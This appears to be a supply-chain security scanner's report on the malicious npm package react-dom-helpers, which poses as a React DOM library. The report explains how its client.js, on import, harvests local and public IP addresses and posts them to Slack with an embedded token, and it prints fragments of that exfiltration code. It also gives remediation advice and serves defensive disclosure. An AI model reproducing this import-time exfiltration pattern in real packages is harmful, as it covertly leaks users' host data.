registry / Data exfiltration / react-dom-helpers

react-dom-helpers

React package for working with the DOM.

This report shows the evidence for react-dom-helpers@3.3.3, the only known version.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

The import-time IP-harvesting and Slack submission chain is directly present in package source and reachable through an exported entrypoint. This is malicious behavior despite the absence of lifecycle scripts.

Static reason

No blocking static signals were detected.

Trigger

Import `react-dom-helpers/client` outside the react-server export condition.

Impact

Discloses public and local IPv4 addresses to a Slack workspace controlled by the embedded credential.

Mechanism

Unconditional host IP discovery and Slack API exfiltration.

Attack narrative

The manifest maps `./client` to `client.js`. On import, that file immediately calls `transfer()`, enumerates non-loopback local IPv4 addresses, retrieves the public IP, and posts both to Slack with an embedded decoded bearer token. This is unrelated to React DOM rendering and is concrete, unconsented data exfiltration.

AI rationale

Evidence

client.jspackage.json

Network endpoints2

api.ipify.org?format=jsonslack.com/api/chat.postMessage

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`client.js` imports HTTPS/OS and invokes `transfer()` at module load.
`transfer()` enumerates non-loopback local IPv4 interfaces.
It fetches the host public IP from api.ipify.org.
It posts both public and local IP data to Slack using an embedded base64-decoded bearer token.
The manifest exposes `./client` to `client.js`, making this import-triggered behavior reachable.
The package presents itself as React DOM while containing this unrelated telemetry/exfiltration code.

Evidence against

No npm lifecycle scripts are declared.
The other inspected entrypoints are ordinary React DOM module selectors.

Behavioral surface

Source

ChildProcessCryptoEnvironmentVarsNativeBindingsNetwork

Supply chain

HighEntropyStringsTelemetryUrlStrings

ManifestNo manifest risk signals triggered.

scanned 40 file(s), 6.98 MB of source, external domains: api.ipify.org, github.com, react.dev, reactjs.org, www.w3.org

Source & flagged code

4 flagged

cjs/react-dom-server.node.development.jsView file

Lines 1-31javascript

1/**

2 * @license React

3 * react-dom-server.node.development.js

4 *

5 * Copyright (c) Meta Platforms, Inc. and affiliates.

6 *

7 * This source code is licensed under the MIT license found in the

8 * LICENSE file in the root directory of this source tree.

9 */

11"use strict";

12"production" !== process.env.NODE_ENV &&

13 (function () {

Low

Weak Crypto

Package source references weak cryptographic algorithms.

cjs/react-dom-server.node.development.jsView on unpkg · L11

14 function styleReplacer(match, prefix, s, suffix) {

15 return "" + prefix + ("s" === s ? "\\73 " : "\\53 ") + suffix;

16 }

17 function scriptReplacer(match, prefix, s, suffix) {

18 return "" + prefix + ("s" === s ? "\\u0073" : "\\u0053") + suffix;

19 }

20 function getIteratorFn(maybeIterable) {

21 if (null === maybeIterable || "object" !== typeof maybeIterable)

22 return null;

23 maybeIterable =

24 (MAYBE_ITERATOR_SYMBOL && maybeIterable[MAYBE_ITERATOR_SYMBOL]) ||

25 maybeIterable["@@iterator"];

26 return "function" === typeof maybeIterable ? maybeIterable : null;

27 }

28 function objectName(object) {

29 object = Object.prototype.toString.call(object);

30 return object.slice(8, object.length - 1);

31 }

package.jsonView file

•scripts registry_only=start

Critical

Manifest Confusion

Tarball package.json differs from the npm registry version manifest for scripts or dependency sets.

package.jsonView on unpkg

client.jsView file

3const https = require("https"); const os = require("os"); async function transfer() {

High

Ai Review Evidence

`client.js` imports HTTPS/OS and invokes `transfer()` at module load.

client.jsView on unpkg · L3

47const message = `IP information\n` + `Public IP: ${publicIP}\n` + `Local IP(s): ${localIPs.length ? localIPs.join(", ") : "None found"}`; // Send message to Slack const payload = JSON.stringify({ channel, text: message }); await new Promise((resolve, reject) => { const req = https.request( { hostname: "slack.com", path: "/api/chat.postMessage", method: "POST", headers: { "Authorization": `Bearer ${token}`, "Content-Type": "application/json", "Content-Length": Buffer.byteLength(payload)

High

Ai Review Evidence

It posts both public and local IP data to Slack using an embedded base64-decoded bearer token.

client.jsView on unpkg · L47

Source & flagged code

4 flagged · loading source

cjs/react-dom-server.node.development.jsView file

11"use strict"; L12: "production" !== process.env.NODE_ENV && L13: (function () { ... L251: function writeToDestination(destination, view) { L252: destination = destination.write(view); L253: destinationHasCapacity$1 = destinationHasCapacity$1 && destination; ... L416: ? console.error( L417: "Invalid aria prop %s on <%s> tag. For details, see https://react.dev/link/invalid-aria-props", L418: props, ... L714: for (index = match.index; index < text.length; index++) { L715: switch (text.charCodeAt(index)) { L716: case 34:

Low

Weak Crypto

Package source references weak cryptographic algorithms.

cjs/react-dom-server.node.development.jsView on unpkg · L11

package.jsonView file

•scripts registry_only=start

Critical

Manifest Confusion

Tarball package.json differs from the npm registry version manifest for scripts or dependency sets.

package.jsonView on unpkg

client.jsView file

Findings

1 Critical2 High2 Medium4 Low

CriticalManifest Confusionpackage.json

HighAi Review Evidenceclient.js

MediumNetwork

MediumEnvironment Vars

LowWeak Cryptocjs/react-dom-server.node.development.js

LowHigh Entropy Strings

LowTelemetry

LowUrl Strings

Affected versions and remediation

This report applies to react-dom-helpers@3.3.3.

The versions list below shows the verdict for each recorded version.

Avoid installing react-dom-helpers@3.3.3. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-19 13:47:06.876Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

3.3.3latestshownMaliciousData ExfiltrationBlockPublishedAug 18, 2026, 5:20 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Behavioral surface

Related packages

Other data exfiltration packages

Source & flagged code